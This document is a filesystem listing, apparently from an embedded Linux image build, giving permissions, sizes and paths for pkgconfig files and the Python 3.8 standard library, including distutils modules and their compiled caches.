+-rw-r--r-- root root 633 ./usr/lib/pkgconfig/libdw.pc
+-rw-r--r-- root root 262 ./usr/lib/pkgconfig/libelf.pc
+-rw-r--r-- root root 237 ./usr/lib/pkgconfig/libffi.pc
+-rw-r--r-- root root 213 ./usr/lib/pkgconfig/libip4tc.pc
+-rw-r--r-- root root 213 ./usr/lib/pkgconfig/libip6tc.pc
+-rw-r--r-- root root 190 ./usr/lib/pkgconfig/libiptc.pc
+-rw-r--r-- root root 213 ./usr/lib/pkgconfig/libkmod.pc
+-rw-r--r-- root root 259 ./usr/lib/pkgconfig/libkms.pc
+-rw-r--r-- root root 390 ./usr/lib/pkgconfig/liblzma.pc
+-rw-r--r-- root root 292 ./usr/lib/pkgconfig/libmnl.pc
+-rw-r--r-- root root 247 ./usr/lib/pkgconfig/libnsl.pc
+-rw-r--r-- root root 243 ./usr/lib/pkgconfig/libpcrecpp.pc
+-rw-r--r-- root root 305 ./usr/lib/pkgconfig/libpcre.pc
+-rw-r--r-- root root 285 ./usr/lib/pkgconfig/libpcreposix.pc
+-rw-r--r-- root root 239 ./usr/lib/pkgconfig/libpng16.pc
+lrwxrwxrwx root root 11 ./usr/lib/pkgconfig/libpng.pc -> libpng16.pc
+-rw-r--r-- root root 223 ./usr/lib/pkgconfig/libprocps.pc
+-rw-r--r-- root root 254 ./usr/lib/pkgconfig/libpsx.pc
+-rw-r--r-- root root 254 ./usr/lib/pkgconfig/libssl.pc
+-rw-r--r-- root root 235 ./usr/lib/pkgconfig/libtirpc.pc
+-rw-r--r-- root root 493 ./usr/lib/pkgconfig/libudev.pc
+-rw-r--r-- root root 367 ./usr/lib/pkgconfig/libxcrypt.pc
+-rw-r--r-- root root 243 ./usr/lib/pkgconfig/libxml-2.0.pc
+-rw-r--r-- root root 500 ./usr/lib/pkgconfig/lzo2.pc
+-rw-r--r-- root root 469 ./usr/lib/pkgconfig/menu.pc
+-rw-r--r-- root root 454 ./usr/lib/pkgconfig/menuw.pc
+-rw-r--r-- root root 627 ./usr/lib/pkgconfig/mount.pc
+-rw-r--r-- root root 469 ./usr/lib/pkgconfig/ncurses.pc
+-rw-r--r-- root root 498 ./usr/lib/pkgconfig/ncurses++.pc
+-rw-r--r-- root root 486 ./usr/lib/pkgconfig/ncurses++w.pc
+-rw-r--r-- root root 453 ./usr/lib/pkgconfig/ncursesw.pc
+-rw-r--r-- root root 208 ./usr/lib/pkgconfig/openssl.pc
+-rw-r--r-- root root 471 ./usr/lib/pkgconfig/panel.pc
+-rw-r--r-- root root 456 ./usr/lib/pkgconfig/panelw.pc
+-rw-r--r-- root root 228 ./usr/lib/pkgconfig/pciaccess.pc
+-rw-r--r-- root root 198 ./usr/lib/pkgconfig/pixman-1.pc
+-rw-r--r-- root root 153 ./usr/lib/pkgconfig/presentproto.pc
+-rw-r--r-- root root 224 ./usr/lib/pkgconfig/pthread-stubs.pc
+-rw-r--r-- root root 183 ./usr/lib/pkgconfig/py3cairo.pc
+-rw-r--r-- root root 706 ./usr/lib/pkgconfig/pygobject-3.0.pc
+-rw-r--r-- root root 297 ./usr/lib/pkgconfig/python-3.8-embed.pc
+-rw-r--r-- root root 271 ./usr/lib/pkgconfig/python-3.8.pc
+lrwxrwxrwx root root 19 ./usr/lib/pkgconfig/python3-embed.pc -> python-3.8-embed.pc
+lrwxrwxrwx root root 13 ./usr/lib/pkgconfig/python3.pc -> python-3.8.pc
+-rw-r--r-- root root 151 ./usr/lib/pkgconfig/randrproto.pc
+-rw-r--r-- root root 302 ./usr/lib/pkgconfig/readline.pc
+-rw-r--r-- root root 154 ./usr/lib/pkgconfig/recordproto.pc
+-rw-r--r-- root root 154 ./usr/lib/pkgconfig/renderproto.pc
+-rw-r--r-- root root 157 ./usr/lib/pkgconfig/resourceproto.pc
+-rw-r--r-- root root 159 ./usr/lib/pkgconfig/scrnsaverproto.pc
+-rw-r--r-- root root 204 ./usr/lib/pkgconfig/smartcols.pc
+-rw-r--r-- root root 222 ./usr/lib/pkgconfig/sm.pc
+-rw-r--r-- root root 256 ./usr/lib/pkgconfig/sqlite3.pc
+-rw-r--r-- root root 249 ./usr/lib/pkgconfig/ss.pc
+-rw-r--r-- root root 467 ./usr/lib/pkgconfig/tic.pc
+-rw-r--r-- root root 452 ./usr/lib/pkgconfig/ticw.pc
+-rw-r--r-- root root 458 ./usr/lib/pkgconfig/tinfo.pc
+-rw-r--r-- root root 204 ./usr/lib/pkgconfig/uuid.pc
+-rw-r--r-- root root 151 ./usr/lib/pkgconfig/videoproto.pc
+-rw-r--r-- root root 315 ./usr/lib/pkgconfig/wayland-client.pc
+-rw-r--r-- root root 235 ./usr/lib/pkgconfig/wayland-cursor.pc
+-rw-r--r-- root root 167 ./usr/lib/pkgconfig/wayland-egl-backend.pc
+-rw-r--r-- root root 220 ./usr/lib/pkgconfig/wayland-egl.pc
+-rw-r--r-- root root 270 ./usr/lib/pkgconfig/wayland-scanner.pc
+-rw-r--r-- root root 338 ./usr/lib/pkgconfig/wayland-server.pc
+-rw-r--r-- root root 270 ./usr/lib/pkgconfig/x11.pc
+-rw-r--r-- root root 206 ./usr/lib/pkgconfig/x11-xcb.pc
+-rw-r--r-- root root 212 ./usr/lib/pkgconfig/xau.pc
+-rw-r--r-- root root 232 ./usr/lib/pkgconfig/xcb-composite.pc
+-rw-r--r-- root root 223 ./usr/lib/pkgconfig/xcb-damage.pc
+-rw-r--r-- root root 206 ./usr/lib/pkgconfig/xcb-dpms.pc
+-rw-r--r-- root root 206 ./usr/lib/pkgconfig/xcb-dri2.pc
+-rw-r--r-- root root 206 ./usr/lib/pkgconfig/xcb-dri3.pc
+-rw-r--r-- root root 203 ./usr/lib/pkgconfig/xcb-glx.pc
+-rw-r--r-- root root 251 ./usr/lib/pkgconfig/xcb.pc
+-rw-r--r-- root root 245 ./usr/lib/pkgconfig/xcb-present.pc
+-rw-r--r-- root root 273 ./usr/lib/pkgconfig/xcb-proto.pc
+-rw-r--r-- root root 220 ./usr/lib/pkgconfig/xcb-randr.pc
+-rw-r--r-- root root 212 ./usr/lib/pkgconfig/xcb-record.pc
+-rw-r--r-- root root 212 ./usr/lib/pkgconfig/xcb-render.pc
+-rw-r--r-- root root 210 ./usr/lib/pkgconfig/xcb-res.pc
+-rw-r--r-- root root 227 ./usr/lib/pkgconfig/xcb-screensaver.pc
+-rw-r--r-- root root 209 ./usr/lib/pkgconfig/xcb-shape.pc
+-rw-r--r-- root root 203 ./usr/lib/pkgconfig/xcb-shm.pc
+-rw-r--r-- root root 206 ./usr/lib/pkgconfig/xcb-sync.pc
+-rw-r--r-- root root 223 ./usr/lib/pkgconfig/xcb-xf86dri.pc
+-rw-r--r-- root root 233 ./usr/lib/pkgconfig/xcb-xfixes.pc
+-rw-r--r-- root root 218 ./usr/lib/pkgconfig/xcb-xinerama.pc
+-rw-r--r-- root root 238 ./usr/lib/pkgconfig/xcb-xinput.pc
+-rw-r--r-- root root 223 ./usr/lib/pkgconfig/xcb-xkb.pc
+-rw-r--r-- root root 209 ./usr/lib/pkgconfig/xcb-xtest.pc
+-rw-r--r-- root root 213 ./usr/lib/pkgconfig/xcb-xvmc.pc
+-rw-r--r-- root root 208 ./usr/lib/pkgconfig/xcb-xv.pc
+-rw-r--r-- root root 153 ./usr/lib/pkgconfig/xcmiscproto.pc
+-rw-r--r-- root root 254 ./usr/lib/pkgconfig/xdamage.pc
+-rw-r--r-- root root 220 ./usr/lib/pkgconfig/xdmcp.pc
+-rw-r--r-- root root 225 ./usr/lib/pkgconfig/xext.pc
+-rw-r--r-- root root 149 ./usr/lib/pkgconfig/xextproto.pc
+-rw-r--r-- root root 163 ./usr/lib/pkgconfig/xf86bigfontproto.pc
+-rw-r--r-- root root 153 ./usr/lib/pkgconfig/xf86dgaproto.pc
+-rw-r--r-- root root 163 ./usr/lib/pkgconfig/xf86driproto.pc
+-rw-r--r-- root root 163 ./usr/lib/pkgconfig/xf86vidmodeproto.pc
+-rw-r--r-- root root 236 ./usr/lib/pkgconfig/xfixes.pc
+-rw-r--r-- root root 157 ./usr/lib/pkgconfig/xineramaproto.pc
+-rw-r--r-- root root 144 ./usr/lib/pkgconfig/xproto.pc
+-rw-r--r-- root root 248 ./usr/lib/pkgconfig/xrandr.pc
+-rw-r--r-- root root 244 ./usr/lib/pkgconfig/xrender.pc
+-rw-r--r-- root root 216 ./usr/lib/pkgconfig/xshmfence.pc
+-rw-r--r-- root root 261 ./usr/lib/pkgconfig/xtables.pc
+-rw-r--r-- root root 255 ./usr/lib/pkgconfig/xxf86vm.pc
+-rw-r--r-- root root 233 ./usr/lib/pkgconfig/zlib.pc
+drwxr-xr-x root root 4096 ./usr/lib/python3.8
+-rw-r--r-- root root 4489 ./usr/lib/python3.8/abc.py
+-rw-r--r-- root root 96015 ./usr/lib/python3.8/argparse.py
+-rw-r--r-- root root 18474 ./usr/lib/python3.8/ast.py
+-rwxr-xr-x root root 20382 ./usr/lib/python3.8/base64.py
+-rw-r--r-- root root 2214 ./usr/lib/python3.8/bisect.py
+-rw-r--r-- root root 1801 ./usr/lib/python3.8/_bootlocale.py
+-rw-r--r-- root root 12558 ./usr/lib/python3.8/bz2.py
+-rw-r--r-- root root 24832 ./usr/lib/python3.8/calendar.py
+-rw-r--r-- root root 14860 ./usr/lib/python3.8/cmd.py
+-rw-r--r-- root root 36590 ./usr/lib/python3.8/codecs.py
+-rw-r--r-- root root 6059 ./usr/lib/python3.8/codeop.py
+-rw-r--r-- root root 10622 ./usr/lib/python3.8/code.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/collections
+-rw-r--r-- root root 26100 ./usr/lib/python3.8/_collections_abc.py
+-rw-r--r-- root root 68 ./usr/lib/python3.8/collections/abc.py
+-rw-r--r-- root root 47521 ./usr/lib/python3.8/collections/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/collections/__pycache__
+-rw-r--r-- root root 179 ./usr/lib/python3.8/collections/__pycache__/abc.cpython-38.opt-1.pyc
+-rw-r--r-- root root 179 ./usr/lib/python3.8/collections/__pycache__/abc.cpython-38.opt-2.pyc
+-rw-r--r-- root root 179 ./usr/lib/python3.8/collections/__pycache__/abc.cpython-38.pyc
+-rw-r--r-- root root 46423 ./usr/lib/python3.8/collections/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 35834 ./usr/lib/python3.8/collections/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 46423 ./usr/lib/python3.8/collections/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 8749 ./usr/lib/python3.8/_compat_pickle.py
+-rw-r--r-- root root 5340 ./usr/lib/python3.8/_compression.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu
+-rw-r--r-- root root 3303 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/config.c
+-rw-r--r-- root root 1623 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/config.c.in
+-rwxr-xr-x root root 15368 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/install-sh
+-rw-r--r-- root root 78513 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/Makefile
+-rwxr-xr-x root root 7848 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/makesetup
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/__pycache__
+-rw-r--r-- root root 1931 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/__pycache__/python-config.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1931 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/__pycache__/python-config.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1931 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/__pycache__/python-config.cpython-38.pyc
+-rwxr-xr-x root root 2114 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/python-config.py
+-rw-r--r-- root root 4488 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/python.o
+-rw-r--r-- root root 14786 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/Setup
+-rw-r--r-- root root 13 ./usr/lib/python3.8/config-3.8-x86_64-linux-gnu/Setup.local
+-rw-r--r-- root root 54374 ./usr/lib/python3.8/configparser.py
+-rw-r--r-- root root 24995 ./usr/lib/python3.8/contextlib.py
+-rw-r--r-- root root 8661 ./usr/lib/python3.8/copy.py
+-rw-r--r-- root root 7135 ./usr/lib/python3.8/copyreg.py
+-rw-r--r-- root root 3610 ./usr/lib/python3.8/crypt.py
+-rw-r--r-- root root 16144 ./usr/lib/python3.8/csv.py
+-rw-r--r-- root root 88074 ./usr/lib/python3.8/datetime.py
+-rw-r--r-- root root 20566 ./usr/lib/python3.8/dis.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/distutils
+-rw-r--r-- root root 8572 ./usr/lib/python3.8/distutils/archive_util.py
+-rw-r--r-- root root 14935 ./usr/lib/python3.8/distutils/bcppcompiler.py
+-rw-r--r-- root root 47433 ./usr/lib/python3.8/distutils/ccompiler.py
+-rw-r--r-- root root 18079 ./usr/lib/python3.8/distutils/cmd.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/distutils/command
+-rw-r--r-- root root 4913 ./usr/lib/python3.8/distutils/command/bdist_dumb.py
+-rw-r--r-- root root 35295 ./usr/lib/python3.8/distutils/command/bdist_msi.py
+-rw-r--r-- root root 5562 ./usr/lib/python3.8/distutils/command/bdist.py
+-rw-r--r-- root root 21577 ./usr/lib/python3.8/distutils/command/bdist_rpm.py
+-rw-r--r-- root root 16043 ./usr/lib/python3.8/distutils/command/bdist_wininst.py
+-rw-r--r-- root root 8022 ./usr/lib/python3.8/distutils/command/build_clib.py
+-rw-r--r-- root root 31568 ./usr/lib/python3.8/distutils/command/build_ext.py
+-rw-r--r-- root root 5767 ./usr/lib/python3.8/distutils/command/build.py
+-rw-r--r-- root root 17164 ./usr/lib/python3.8/distutils/command/build_py.py
+-rw-r--r-- root root 6232 ./usr/lib/python3.8/distutils/command/build_scripts.py
+-rw-r--r-- root root 5599 ./usr/lib/python3.8/distutils/command/check.py
+-rw-r--r-- root root 2776 ./usr/lib/python3.8/distutils/command/clean.py
+-rw-r--r-- root root 633 ./usr/lib/python3.8/distutils/command/command_template
+-rw-r--r-- root root 13117 ./usr/lib/python3.8/distutils/command/config.py
+-rw-r--r-- root root 799 ./usr/lib/python3.8/distutils/command/__init__.py
+-rw-r--r-- root root 2822 ./usr/lib/python3.8/distutils/command/install_data.py
+-rw-r--r-- root root 2603 ./usr/lib/python3.8/distutils/command/install_egg_info.py
+-rw-r--r-- root root 1298 ./usr/lib/python3.8/distutils/command/install_headers.py
+-rw-r--r-- root root 8397 ./usr/lib/python3.8/distutils/command/install_lib.py
+-rw-r--r-- root root 26774 ./usr/lib/python3.8/distutils/command/install.py
+-rw-r--r-- root root 2017 ./usr/lib/python3.8/distutils/command/install_scripts.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/distutils/command/__pycache__
+-rw-r--r-- root root 3648 ./usr/lib/python3.8/distutils/command/__pycache__/bdist.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3454 ./usr/lib/python3.8/distutils/command/__pycache__/bdist.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3648 ./usr/lib/python3.8/distutils/command/__pycache__/bdist.cpython-38.pyc
+-rw-r--r-- root root 3574 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_dumb.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3374 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_dumb.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3574 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_dumb.cpython-38.pyc
+-rw-r--r-- root root 19517 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_msi.cpython-38.opt-1.pyc
+-rw-r--r-- root root 17976 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_msi.cpython-38.opt-2.pyc
+-rw-r--r-- root root 19605 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_msi.cpython-38.pyc
+-rw-r--r-- root root 12344 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_rpm.cpython-38.opt-1.pyc
+-rw-r--r-- root root 12025 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_rpm.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12410 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_rpm.cpython-38.pyc
+-rw-r--r-- root root 8405 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_wininst.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8266 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_wininst.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8471 ./usr/lib/python3.8/distutils/command/__pycache__/bdist_wininst.cpython-38.pyc
+-rw-r--r-- root root 4796 ./usr/lib/python3.8/distutils/command/__pycache__/build_clib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4242 ./usr/lib/python3.8/distutils/command/__pycache__/build_clib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4796 ./usr/lib/python3.8/distutils/command/__pycache__/build_clib.cpython-38.pyc
+-rw-r--r-- root root 3863 ./usr/lib/python3.8/distutils/command/__pycache__/build.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3780 ./usr/lib/python3.8/distutils/command/__pycache__/build.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3863 ./usr/lib/python3.8/distutils/command/__pycache__/build.cpython-38.pyc
+-rw-r--r-- root root 16119 ./usr/lib/python3.8/distutils/command/__pycache__/build_ext.cpython-38.opt-1.pyc
+-rw-r--r-- root root 14162 ./usr/lib/python3.8/distutils/command/__pycache__/build_ext.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16119 ./usr/lib/python3.8/distutils/command/__pycache__/build_ext.cpython-38.pyc
+-rw-r--r-- root root 10387 ./usr/lib/python3.8/distutils/command/__pycache__/build_py.cpython-38.opt-1.pyc
+-rw-r--r-- root root 9180 ./usr/lib/python3.8/distutils/command/__pycache__/build_py.cpython-38.opt-2.pyc
+-rw-r--r-- root root 10444 ./usr/lib/python3.8/distutils/command/__pycache__/build_py.cpython-38.pyc
+-rw-r--r-- root root 4306 ./usr/lib/python3.8/distutils/command/__pycache__/build_scripts.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3912 ./usr/lib/python3.8/distutils/command/__pycache__/build_scripts.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4306 ./usr/lib/python3.8/distutils/command/__pycache__/build_scripts.cpython-38.pyc
+-rw-r--r-- root root 4867 ./usr/lib/python3.8/distutils/command/__pycache__/check.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4299 ./usr/lib/python3.8/distutils/command/__pycache__/check.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4867 ./usr/lib/python3.8/distutils/command/__pycache__/check.cpython-38.pyc
+-rw-r--r-- root root 2082 ./usr/lib/python3.8/distutils/command/__pycache__/clean.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1999 ./usr/lib/python3.8/distutils/command/__pycache__/clean.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2082 ./usr/lib/python3.8/distutils/command/__pycache__/clean.cpython-38.pyc
+-rw-r--r-- root root 10209 ./usr/lib/python3.8/distutils/command/__pycache__/config.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6873 ./usr/lib/python3.8/distutils/command/__pycache__/config.cpython-38.opt-2.pyc
+-rw-r--r-- root root 10209 ./usr/lib/python3.8/distutils/command/__pycache__/config.cpython-38.pyc
+-rw-r--r-- root root 525 ./usr/lib/python3.8/distutils/command/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 416 ./usr/lib/python3.8/distutils/command/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 525 ./usr/lib/python3.8/distutils/command/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 13550 ./usr/lib/python3.8/distutils/command/__pycache__/install.cpython-38.opt-1.pyc
+-rw-r--r-- root root 12495 ./usr/lib/python3.8/distutils/command/__pycache__/install.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13550 ./usr/lib/python3.8/distutils/command/__pycache__/install.cpython-38.pyc
+-rw-r--r-- root root 2271 ./usr/lib/python3.8/distutils/command/__pycache__/install_data.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2126 ./usr/lib/python3.8/distutils/command/__pycache__/install_data.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2271 ./usr/lib/python3.8/distutils/command/__pycache__/install_data.cpython-38.pyc
+-rw-r--r-- root root 2978 ./usr/lib/python3.8/distutils/command/__pycache__/install_egg_info.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2299 ./usr/lib/python3.8/distutils/command/__pycache__/install_egg_info.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2978 ./usr/lib/python3.8/distutils/command/__pycache__/install_egg_info.cpython-38.pyc
+-rw-r--r-- root root 1690 ./usr/lib/python3.8/distutils/command/__pycache__/install_headers.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1524 ./usr/lib/python3.8/distutils/command/__pycache__/install_headers.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1690 ./usr/lib/python3.8/distutils/command/__pycache__/install_headers.cpython-38.pyc
+-rw-r--r-- root root 5095 ./usr/lib/python3.8/distutils/command/__pycache__/install_lib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4514 ./usr/lib/python3.8/distutils/command/__pycache__/install_lib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5095 ./usr/lib/python3.8/distutils/command/__pycache__/install_lib.cpython-38.pyc
+-rw-r--r-- root root 2123 ./usr/lib/python3.8/distutils/command/__pycache__/install_scripts.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1989 ./usr/lib/python3.8/distutils/command/__pycache__/install_scripts.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2123 ./usr/lib/python3.8/distutils/command/__pycache__/install_scripts.cpython-38.pyc
+-rw-r--r-- root root 8437 ./usr/lib/python3.8/distutils/command/__pycache__/register.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7172 ./usr/lib/python3.8/distutils/command/__pycache__/register.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8437 ./usr/lib/python3.8/distutils/command/__pycache__/register.cpython-38.pyc
+-rw-r--r-- root root 14498 ./usr/lib/python3.8/distutils/command/__pycache__/sdist.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11139 ./usr/lib/python3.8/distutils/command/__pycache__/sdist.cpython-38.opt-2.pyc
+-rw-r--r-- root root 14498 ./usr/lib/python3.8/distutils/command/__pycache__/sdist.cpython-38.pyc
+-rw-r--r-- root root 4921 ./usr/lib/python3.8/distutils/command/__pycache__/upload.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4795 ./usr/lib/python3.8/distutils/command/__pycache__/upload.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4921 ./usr/lib/python3.8/distutils/command/__pycache__/upload.cpython-38.pyc
+-rw-r--r-- root root 11712 ./usr/lib/python3.8/distutils/command/register.py
+-rw-r--r-- root root 19005 ./usr/lib/python3.8/distutils/command/sdist.py
+-rw-r--r-- root root 7001 ./usr/lib/python3.8/distutils/command/upload.py
+-rw-r--r-- root root 222208 ./usr/lib/python3.8/distutils/command/wininst-10.0-amd64.exe
+-rw-r--r-- root root 190976 ./usr/lib/python3.8/distutils/command/wininst-10.0.exe
+-rw-r--r-- root root 587776 ./usr/lib/python3.8/distutils/command/wininst-14.0-amd64.exe
+-rw-r--r-- root root 458240 ./usr/lib/python3.8/distutils/command/wininst-14.0.exe
+-rw-r--r-- root root 61440 ./usr/lib/python3.8/distutils/command/wininst-6.0.exe
+-rw-r--r-- root root 65536 ./usr/lib/python3.8/distutils/command/wininst-7.1.exe
+-rw-r--r-- root root 61440 ./usr/lib/python3.8/distutils/command/wininst-8.0.exe
+-rw-r--r-- root root 224256 ./usr/lib/python3.8/distutils/command/wininst-9.0-amd64.exe
+-rw-r--r-- root root 196096 ./usr/lib/python3.8/distutils/command/wininst-9.0.exe
+-rw-r--r-- root root 4827 ./usr/lib/python3.8/distutils/config.py
+-rw-r--r-- root root 8876 ./usr/lib/python3.8/distutils/core.py
+-rw-r--r-- root root 16478 ./usr/lib/python3.8/distutils/cygwinccompiler.py
+-rw-r--r-- root root 139 ./usr/lib/python3.8/distutils/debug.py
+-rw-r--r-- root root 3491 ./usr/lib/python3.8/distutils/dep_util.py
+-rw-r--r-- root root 7778 ./usr/lib/python3.8/distutils/dir_util.py
+-rw-r--r-- root root 50385 ./usr/lib/python3.8/distutils/dist.py
+-rw-r--r-- root root 3577 ./usr/lib/python3.8/distutils/errors.py
+-rw-r--r-- root root 10515 ./usr/lib/python3.8/distutils/extension.py
+-rw-r--r-- root root 17784 ./usr/lib/python3.8/distutils/fancy_getopt.py
+-rw-r--r-- root root 12832 ./usr/lib/python3.8/distutils/filelist.py
+-rw-r--r-- root root 8148 ./usr/lib/python3.8/distutils/file_util.py
+-rw-r--r-- root root 236 ./usr/lib/python3.8/distutils/__init__.py
+-rw-r--r-- root root 1969 ./usr/lib/python3.8/distutils/log.py
+-rw-r--r-- root root 30511 ./usr/lib/python3.8/distutils/msvc9compiler.py
+-rw-r--r-- root root 21931 ./usr/lib/python3.8/distutils/_msvccompiler.py
+-rw-r--r-- root root 23564 ./usr/lib/python3.8/distutils/msvccompiler.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/distutils/__pycache__
+-rw-r--r-- root root 6529 ./usr/lib/python3.8/distutils/__pycache__/archive_util.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4487 ./usr/lib/python3.8/distutils/__pycache__/archive_util.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6529 ./usr/lib/python3.8/distutils/__pycache__/archive_util.cpython-38.pyc
+-rw-r--r-- root root 6513 ./usr/lib/python3.8/distutils/__pycache__/bcppcompiler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6225 ./usr/lib/python3.8/distutils/__pycache__/bcppcompiler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6513 ./usr/lib/python3.8/distutils/__pycache__/bcppcompiler.cpython-38.pyc
+-rw-r--r-- root root 33160 ./usr/lib/python3.8/distutils/__pycache__/ccompiler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 16854 ./usr/lib/python3.8/distutils/__pycache__/ccompiler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 33287 ./usr/lib/python3.8/distutils/__pycache__/ccompiler.cpython-38.pyc
+-rw-r--r-- root root 13938 ./usr/lib/python3.8/distutils/__pycache__/cmd.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8072 ./usr/lib/python3.8/distutils/__pycache__/cmd.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13938 ./usr/lib/python3.8/distutils/__pycache__/cmd.cpython-38.pyc
+-rw-r--r-- root root 3499 ./usr/lib/python3.8/distutils/__pycache__/config.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3108 ./usr/lib/python3.8/distutils/__pycache__/config.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3499 ./usr/lib/python3.8/distutils/__pycache__/config.cpython-38.pyc
+-rw-r--r-- root root 6604 ./usr/lib/python3.8/distutils/__pycache__/core.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3217 ./usr/lib/python3.8/distutils/__pycache__/core.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6604 ./usr/lib/python3.8/distutils/__pycache__/core.cpython-38.pyc
+-rw-r--r-- root root 8602 ./usr/lib/python3.8/distutils/__pycache__/cygwinccompiler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6972 ./usr/lib/python3.8/distutils/__pycache__/cygwinccompiler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8602 ./usr/lib/python3.8/distutils/__pycache__/cygwinccompiler.cpython-38.pyc
+-rw-r--r-- root root 184 ./usr/lib/python3.8/distutils/__pycache__/debug.cpython-38.opt-1.pyc
+-rw-r--r-- root root 184 ./usr/lib/python3.8/distutils/__pycache__/debug.cpython-38.opt-2.pyc
+-rw-r--r-- root root 184 ./usr/lib/python3.8/distutils/__pycache__/debug.cpython-38.pyc
+-rw-r--r-- root root 2704 ./usr/lib/python3.8/distutils/__pycache__/dep_util.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1260 ./usr/lib/python3.8/distutils/__pycache__/dep_util.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2704 ./usr/lib/python3.8/distutils/__pycache__/dep_util.cpython-38.pyc
+-rw-r--r-- root root 5813 ./usr/lib/python3.8/distutils/__pycache__/dir_util.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3435 ./usr/lib/python3.8/distutils/__pycache__/dir_util.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5813 ./usr/lib/python3.8/distutils/__pycache__/dir_util.cpython-38.pyc
+-rw-r--r-- root root 34482 ./usr/lib/python3.8/distutils/__pycache__/dist.cpython-38.opt-1.pyc
+-rw-r--r-- root root 25191 ./usr/lib/python3.8/distutils/__pycache__/dist.cpython-38.opt-2.pyc
+-rw-r--r-- root root 34482 ./usr/lib/python3.8/distutils/__pycache__/dist.cpython-38.pyc
+-rw-r--r-- root root 5240 ./usr/lib/python3.8/distutils/__pycache__/errors.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2692 ./usr/lib/python3.8/distutils/__pycache__/errors.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5240 ./usr/lib/python3.8/distutils/__pycache__/errors.cpython-38.pyc
